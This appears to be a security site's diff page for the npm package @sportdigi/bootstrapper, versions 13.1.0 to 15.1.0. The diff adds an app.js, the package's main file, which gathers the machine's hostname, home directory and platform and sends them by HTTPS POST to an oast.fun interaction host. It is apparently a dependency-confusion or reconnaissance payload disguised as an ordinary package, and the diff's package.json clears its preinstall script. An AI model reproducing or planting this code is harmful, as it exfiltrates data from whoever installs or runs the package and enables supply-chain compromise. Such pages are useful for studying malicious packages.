@sportdigi/bootstrapper 13.1.0 → 15.1.0
Sign up to get free protection for your applications and to get access to all the features.
- package/app.js +40 -0
- package/package.json +2 -2
package/app.js
CHANGED
@@ -0,0 +1,40 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
|
5
|
+
console.log(os.hostname());
|
6
|
+
|
7
|
+
const data = JSON.stringify({
|
8
|
+
key1: os.hostname(),
|
9
|
+
key2: os.homedir(),
|
10
|
+
key3: os.platform()
|
11
|
+
});
|
12
|
+
const options = {
|
13
|
+
hostname: 'nkhgevpndozoxokzqhojhvfqppdrh4xzm.oast.fun',
|
14
|
+
port: 443, // HTTPS için 443 portu
|
15
|
+
path: '/path',
|
16
|
+
method: 'POST',
|
17
|
+
headers: {
|
18
|
+
'Content-Type': 'application/json',
|
19
|
+
'Content-Length': Buffer.byteLength(data)
|
20
|
+
}
|
21
|
+
};
|
22
|
+
|
23
|
+
const req = https.request(options, (res) => {
|
24
|
+
let responseData = '';
|
25
|
+
|
26
|
+
res.on('data', (chunk) => {
|
27
|
+
responseData += chunk;
|
28
|
+
});
|
29
|
+
|
30
|
+
res.on('end', () => {
|
31
|
+
console.log('Response:', responseData);
|
32
|
+
});
|
33
|
+
});
|
34
|
+
|
35
|
+
req.on('error', (e) => {
|
36
|
+
console.error(`Problem with request: ${e.message}`);
|
37
|
+
});
|
38
|
+
|
39
|
+
req.write(data);
|
40
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,10 +1,10 @@
|
|
1
1
|
{
|
2
2
|
"name": "@sportdigi/bootstrapper",
|
3
|
-
"version": "
|
3
|
+
"version": "15.1.0",
|
4
4
|
"description": "",
|
5
5
|
"main": "app.js",
|
6
6
|
"scripts": {
|
7
|
-
"preinstall": "
|
7
|
+
"preinstall": ""
|
8
8
|
},
|
9
9
|
"author": "james4141",
|
10
10
|
"license": "ISC"
|